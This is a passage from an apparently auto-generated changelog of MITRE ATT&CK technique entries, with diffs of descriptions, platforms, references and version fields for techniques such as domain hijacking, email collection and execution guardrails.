| ibilities include social engineering a domain registration h | | ibilities include social engineering a domain registration h |
| elp desk to gain access to an account or taking advantage of | | elp desk to gain access to an account, taking advantage of r |
| renewal process gaps.(Citation: Krebs DNS Hijack 2019) Sub | | enewal process gaps, or compromising a cloud service that en |
| domain hijacking can occur when organizations have DNS entri | | ables managing domains (e.g., AWS Route53).(Citation: Krebs |
| es that point to non-existent or deprovisioned resources. In | | DNS Hijack 2019) Subdomain hijacking can occur when organiz |
| such cases, an adversary may take control of a subdomain to | | ations have DNS entries that point to non-existent or deprov |
| conduct operations with the benefit of the trust associated | | isioned resources. In such cases, an adversary may take cont |
| with that domain.(Citation: Microsoft Sub Takeover 2020) A | | rol of a subdomain to conduct operations with the benefit of |
| dversaries who compromise a domain may also engage in domain | | the trust associated with that domain.(Citation: Microsoft |
| shadowing by creating malicious subdomains under their cont | | Sub Takeover 2020) Adversaries who compromise a domain may |
| rol while keeping any existing DNS records. As service will | | also engage in domain shadowing by creating malicious subdom |
| not be disrupted, the malicious subdomains may go unnoticed | | ains under their control while keeping any existing DNS reco |
| for long periods of time.(Citation: Palo Alto Unit 42 Domain | | rds. As service will not be disrupted, the malicious subdoma |
| Shadowing 2022) | | ins may go unnoticed for long periods of time.(Citation: Pal |
| | | o Alto Unit 42 Domain Shadowing 2022) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-07 13:05:42.901000+00:00 | 2024-09-24 15:10:40.270000+00:00 |
| description | Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)
Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)
Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) | Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019)
Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)
Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.3 | 1.4 |
[T1189] Drive-by Compromise
Current version: 1.6
Version changed from: 1.5 → 1.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-14 23:58:45.490000+00:00 | 2024-10-15 15:55:47.494000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.5 | 1.6 |
| x_mitre_platforms[3] | SaaS | Identity Provider |
[T1087.003] Account Discovery: Email Account
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may attempt to get a listing of email addresses | t | Adversaries may attempt to get a listing of email addresses |
| and accounts. Adversaries may try to dump Exchange address l | | and accounts. Adversaries may try to dump Exchange address l |
| ists such as global address lists (GALs).(Citation: Microsof | | ists such as global address lists (GALs).(Citation: Microsof |
| t Exchange Address Lists) In on-premises Exchange and Excha | | t Exchange Address Lists) In on-premises Exchange and Excha |
| nge Online, the<code>Get-GlobalAddressList</code> PowerShell | | nge Online, the <code>Get-GlobalAddressList</code> PowerShel |
| cmdlet can be used to obtain email addresses and accounts f | | l cmdlet can be used to obtain email addresses and accounts |
| rom a domain using an authenticated session.(Citation: Micro | | from a domain using an authenticated session.(Citation: Micr |
| soft getglobaladdresslist)(Citation: Black Hills Attacking E | | osoft getglobaladdresslist)(Citation: Black Hills Attacking |
| xchange MailSniper, 2016) In Google Workspace, the GAL is s | | Exchange MailSniper, 2016) In Google Workspace, the GAL is |
| hared with Microsoft Outlook users through the Google Worksp | | shared with Microsoft Outlook users through the Google Works |
| ace Sync for Microsoft Outlook (GWSMO) service. Additionally | | pace Sync for Microsoft Outlook (GWSMO) service. Additionall |
| , the Google Workspace Directory allows for users to get a l | | y, the Google Workspace Directory allows for users to get a |
| isting of other users within the organization.(Citation: Goo | | listing of other users within the organization.(Citation: Go |
| gle Workspace Global Access List) | | ogle Workspace Global Access List) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-31 13:10:46.302000+00:00 | 2024-10-17 20:35:35.125000+00:00 |
| description | Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)
In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List) | Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
In on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)
In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List) |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Google Workspace | |
[T1114] Email Collection
Current version: 2.6
Version changed from: 2.5 → 2.6
|
|
|---|
| t | Adversaries may target user email to collect sensitive infor | t | Adversaries may target user email to collect sensitive infor |
| mation. Emails may contain sensitive data, including trade s | | mation. Emails may contain sensitive data, including trade s |
| ecrets or personal information, that can prove valuable to a | | ecrets or personal information, that can prove valuable to a |
| dversaries. Adversaries can collect or forward email from ma | | dversaries. Emails may also contain details of ongoing incid |
| il servers or clients. | | ent response operations, which may allow adversaries to adju |
| | | st their techniques in order to maintain persistence or evad |
| | | e defenses.(Citation: TrustedSec OOB Communications)(Citatio |
| | | n: CISA AA20-352A 2021) Adversaries can collect or forward e |
| | | mail from mail servers or clients. |
New Mitigations:
- M1060: Out-of-Band Communications Channel
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-29 21:06:03.098000+00:00 | 2024-10-15 12:24:27.627000+00:00 |
| description | Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. | Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients. |
| x_mitre_version | 2.5 | 2.6 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'CISA AA20-352A 2021', 'description': 'CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.', 'url': 'https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a'} |
| external_references | | {'source_name': 'TrustedSec OOB Communications', 'description': 'Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.', 'url': 'https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response'} |
| x_mitre_contributors | | Menachem Goldstein |
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1114.003] Email Collection: Email Forwarding Rule
Current version: 1.4
Version changed from: 1.3 → 1.4
New Mitigations:
- M1060: Out-of-Band Communications Channel
New Detections:
- DS0025: Cloud Service (Cloud Service Metadata)
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-12 20:47:47.583000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_data_sources | | Cloud Service: Cloud Service Metadata |
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1564.008] Hide Artifacts: Email Hiding Rules
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-16 16:41:53.957000+00:00 | 2024-10-15 15:56:27.592000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1499] Endpoint Denial of Service
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:44.038000+00:00 | 2024-10-15 15:56:47.424000+00:00 |
| external_references[2]['description'] | FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019. | FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024. |
| external_references[2]['url'] | https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf | https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Google Workspace | |
[T1546] Event Triggered Execution
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-01 15:49:15.588000+00:00 | 2024-10-15 15:57:00.731000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
| x_mitre_platforms[5] | Office 365 | Office Suite |
[T1480] Execution Guardrails
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may use execution guardrails to constrain execut | t | Adversaries may use execution guardrails to constrain execut |
| ion or actions based on adversary supplied and environment s | | ion or actions based on adversary supplied and environment s |
| pecific conditions that are expected to be present on the ta | | pecific conditions that are expected to be present on the ta |
| rget. Guardrails ensure that a payload only executes against | | rget. Guardrails ensure that a payload only executes against |
| an intended target and reduces collateral damage from an ad | | an intended target and reduces collateral damage from an ad |
| versary’s campaign.(Citation: FireEye Kevin Mandia Guardrail | | versary’s campaign.(Citation: FireEye Kevin Mandia Guardrail |
| s) Values an adversary can provide about a target system or | | s) Values an adversary can provide about a target system or |
| environment to use as guardrails may include specific networ | | environment to use as guardrails may include specific networ |
| k share names, attached physical devices, files, joined Acti | | k share names, attached physical devices, files, joined Acti |
| ve Directory (AD) domains, and local/external IP addresses.( | | ve Directory (AD) domains, and local/external IP addresses.( |
| Citation: FireEye Outlook Dec 2019) Guardrails can be used | | Citation: FireEye Outlook Dec 2019) Guardrails can be used |
| to prevent exposure of capabilities in environments that are | | to prevent exposure of capabilities in environments that are |
| not intended to be compromised or operated within. This use | | not intended to be compromised or operated within. This use |
| of guardrails is distinct from typical [Virtualization/Sand | | of guardrails is distinct from typical [Virtualization/Sand |
| box Evasion](https://attack.mitre.org/techniques/T1497). Whi | | box Evasion](https://attack.mitre.org/techniques/T1497). Whi |
| le use of [Virtualization/Sandbox Evasion](https://attack.mi | | le use of [Virtualization/Sandbox Evasion](https://attack.mi |
| tre.org/techniques/T1497) may involve checking for known san | | tre.org/techniques/T1497) may involve checking for known san |
| dbox values and continuing with execution only if there is n | | dbox values and continuing with execution only if there is n |
| o match, the use of guardrails will involve checking for an | | o match, the use of guardrails will involve checking for an |
| expected target-specific value and only continuing with exec | | expected target-specific value and only continuing with exec |
| ution if there is such a match. | | ution if there is such a match. Adversaries may identify an |
| | | d block certain user-agents to evade defenses and narrow the |
| | | scope of their attack to victims and platforms on which it |
| | | will be most effective. A user-agent self-identifies data su |
| | | ch as a user's software application, operating system, vendo |
| | | r, and version. Adversaries may check user-agents for operat |
| | | ing system identification and then only serve malware for th |
| | | e exploitable software while ignoring all other operating sy |
| | | stems.(Citation: Trellix-Qakbot) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-05-03 02:39:29.314000+00:00 | 2024-06-07 14:30:23.491000+00:00 |
| description | Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)
Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match. | Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)
Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.
Adversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot) |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Trellix-Qakbot', 'description': 'Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.', 'url': 'https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/'} |
[T1048] Exfiltration Over Alternative Protocol
Current version: 1.5
Version changed from: 1.4 → 1.5
Details
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_network_requirements | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-15 00:58:36.287000+00:00 | 2024-10-15 15:57:26.415000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.4 | 1.5 |
| x_mitre_platforms[6] | Google Workspace | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
[T1567] Exfiltration Over Web Service
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-05 15:00:36.471000+00:00 | 2024-10-15 15:57:40.951000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1567.004] Exfiltration Over Web Service: Exfiltration Over Webhook
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-12 05:22:59.079000+00:00 | 2024-10-15 15:57:55.928000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| x_mitre_platforms[4] | Office 365 | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Google Workspace | |
[T1190] Exploit Public-Facing Application
Current version: 2.6
Version changed from: 2.5 → 2.6
|
|
|---|
| t | Adversaries may attempt to exploit a weakness in an Internet | t | Adversaries may attempt to exploit a weakness in an Internet |
| -facing host or system to initially access a network. The we | | -facing host or system to initially access a network. The we |
| akness in the system can be a software bug, a temporary glit | | akness in the system can be a software bug, a temporary glit |
| ch, or a misconfiguration. Exploited applications are often | | ch, or a misconfiguration. Exploited applications are often |
| websites/web servers, but can also include databases (like | | websites/web servers, but can also include databases (like |
| SQL), standard services (like SMB or SSH), network device ad | | SQL), standard services (like SMB or SSH), network device ad |
| ministration and management protocols (like SNMP and Smart I | | ministration and management protocols (like SNMP and Smart I |
| nstall), and any other system with Internet accessible open | | nstall), and any other system with Internet-accessible open |
| sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple | | sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple |
| SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network In | | SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network In |
| frastructure Devices 2018)(Citation: Cisco Blog Legacy Devic | | frastructure Devices 2018)(Citation: Cisco Blog Legacy Devic |
| e Attacks)(Citation: NVD CVE-2014-7169) Depending on the fla | | e Attacks)(Citation: NVD CVE-2014-7169) Depending on the fla |
| w being exploited this may also involve [Exploitation for De | | w being exploited this may also involve [Exploitation for De |
| fense Evasion](https://attack.mitre.org/techniques/T1211) or | | fense Evasion](https://attack.mitre.org/techniques/T1211) or |
| [Exploitation for Client Execution](https://attack.mitre.or | | [Exploitation for Client Execution](https://attack.mitre.or |
| g/techniques/T1203). If an application is hosted on cloud-b | | g/techniques/T1203). If an application is hosted on cloud-b |
| ased infrastructure and/or is containerized, then exploiting | | ased infrastructure and/or is containerized, then exploiting |
| it may lead to compromise of the underlying instance or con | | it may lead to compromise of the underlying instance or con |
| tainer. This can allow an adversary a path to access the clo | | tainer. This can allow an adversary a path to access the clo |
| ud or container APIs, exploit container host access via [Esc | | ud or container APIs (e.g., via the [Cloud Instance Metadata |
| ape to Host](https://attack.mitre.org/techniques/T1611), or | | API](https://attack.mitre.org/techniques/T1552/005)), explo |
| take advantage of weak identity and access management polici | | it container host access via [Escape to Host](https://attack |
| es. Adversaries may also exploit edge network infrastructur | | .mitre.org/techniques/T1611), or take advantage of weak iden |
| e and related appliances, specifically targeting devices tha | | tity and access management policies. Adversaries may also e |
| t do not support robust host-based defenses.(Citation: Mandi | | xploit edge network infrastructure and related appliances, s |
| ant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) For | | pecifically targeting devices that do not support robust hos |
| websites and databases, the OWASP top 10 and CWE top 25 hig | | t-based defenses.(Citation: Mandiant Fortinet Zero Day)(Cita |
| hlight the most common web-based vulnerabilities.(Citation: | | tion: Wired Russia Cyberwar) For websites and databases, th |
| OWASP Top 10)(Citation: CWE top 25) | | e OWASP top 10 and CWE top 25 highlight the most common web- |
| | | based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE |
| | | top 25) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-11-28 21:27:35.373000+00:00 | 2024-09-24 14:33:53.433000+00:00 |
| description | Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.
Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).
If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.
Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)
For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) | Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.
Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).
If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.
Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)
For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) |
| x_mitre_version | 2.5 | 2.6 |
[T1212] Exploitation for Credential Access
Current version: 1.6
Version changed from: 1.5 → 1.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-15 11:45:21.555000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| external_references[5]['description'] | Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 27, 2023. | Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 12, 2024. |
| external_references[5]['url'] | https://twitter.com/MsftSecIntel/status/1671579359994343425 | https://x.com/MsftSecIntel/status/1671579359994343425 |
| x_mitre_version | 1.5 | 1.6 |
| x_mitre_platforms[3] | Azure AD | Identity Provider |
[T1657] Financial Theft
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 20:22:14.359000+00:00 | 2024-10-15 15:58:10.254000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_contributors[2] | Goldstein Menachem | Menachem Goldstein |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1606] Forge Web Credentials
Current version: 1.5
Version changed from: 1.4 → 1.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-15 11:10:03.428000+00:00 | 2024-10-15 15:58:23.638000+00:00 |
| external_references[3]['description'] | Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020. | Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024. |
| external_references[3]['url'] | https://github.com/damianh/aws-adfs-credential-generator | https://github.com/pvanbuijtene/aws-adfs-credential-generator |
| x_mitre_version | 1.4 | 1.5 |
| x_mitre_platforms[5] | Office 365 | Office Suite |
| x_mitre_platforms[6] | Google Workspace | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
[T1592] Gather Victim Host Information
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may gather information about the victim's hosts | t | Adversaries may gather information about the victim's hosts |
| that can be used during targeting. Information about hosts m | | that can be used during targeting. Information about hosts m |
| ay include a variety of details, including administrative da | | ay include a variety of details, including administrative da |
| ta (ex: name, assigned IP, functionality, etc.) as well as s | | ta (ex: name, assigned IP, functionality, etc.) as well as s |
| pecifics regarding its configuration (ex: operating system, | | pecifics regarding its configuration (ex: operating system, |
| language, etc.). Adversaries may gather this information in | | language, etc.). Adversaries may gather this information in |
| various ways, such as direct collection actions via [Active | | various ways, such as direct collection actions via [Active |
| Scanning](https://attack.mitre.org/techniques/T1595) or [Ph | | Scanning](https://attack.mitre.org/techniques/T1595) or [Ph |
| ishing for Information](https://attack.mitre.org/techniques/ | | ishing for Information](https://attack.mitre.org/techniques/ |
| T1598). Adversaries may also compromise sites then include m | | T1598). Adversaries may also compromise sites then include m |
| alicious content designed to collect host information from v | | alicious content designed to collect host information from v |
| isitors.(Citation: ATT ScanBox) Information about hosts may | | isitors.(Citation: ATT ScanBox) Information about hosts may |
| also be exposed to adversaries via online or other accessibl | | also be exposed to adversaries via online or other accessibl |
| e data sets (ex: [Social Media](https://attack.mitre.org/tec | | e data sets (ex: [Social Media](https://attack.mitre.org/tec |
| hniques/T1593/001) or [Search Victim-Owned Websites](https:/ | | hniques/T1593/001) or [Search Victim-Owned Websites](https:/ |
| /attack.mitre.org/techniques/T1594)). Gathering this informa | | /attack.mitre.org/techniques/T1594)). Gathering this informa |
| tion may reveal opportunities for other forms of reconnaissa | | tion may reveal opportunities for other forms of reconnaissa |
| nce (ex: [Search Open Websites/Domains](https://attack.mitre | | nce (ex: [Search Open Websites/Domains](https://attack.mitre |
| .org/techniques/T1593) or [Search Open Technical Databases]( | | .org/techniques/T1593) or [Search Open Technical Databases]( |
| https://attack.mitre.org/techniques/T1596)), establishing op | | https://attack.mitre.org/techniques/T1596)), establishing op |
| erational resources (ex: [Develop Capabilities](https://atta | | erational resources (ex: [Develop Capabilities](https://atta |
| ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http | | ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http |
| s://attack.mitre.org/techniques/T1588)), and/or initial acce | | s://attack.mitre.org/techniques/T1588)), and/or initial acce |
| ss (ex: [Supply Chain Compromise](https://attack.mitre.org/t | | ss (ex: [Supply Chain Compromise](https://attack.mitre.org/t |
| echniques/T1195) or [External Remote Services](https://attac | | echniques/T1195) or [External Remote Services](https://attac |
| k.mitre.org/techniques/T1133)). | | k.mitre.org/techniques/T1133)). Adversaries may also gather |
| | | victim host information via User-Agent HTTP headers, which |
| | | are sent to a server to identify the application, operating |
| | | system, vendor, and/or version of the requesting user agent. |
| | | This can be used to inform the adversary’s follow-on action |
| | | . For example, adversaries may check user agents for the req |
| | | uesting operating system, then only serve malware for target |
| | | operating systems while ignoring others.(Citation: TrellixQ |
| | | akbot) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_contributors | | ['Sam Seabrook, Duke Energy'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 16:35:09.878000+00:00 | 2024-10-03 19:35:07.269000+00:00 |
| description | Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).
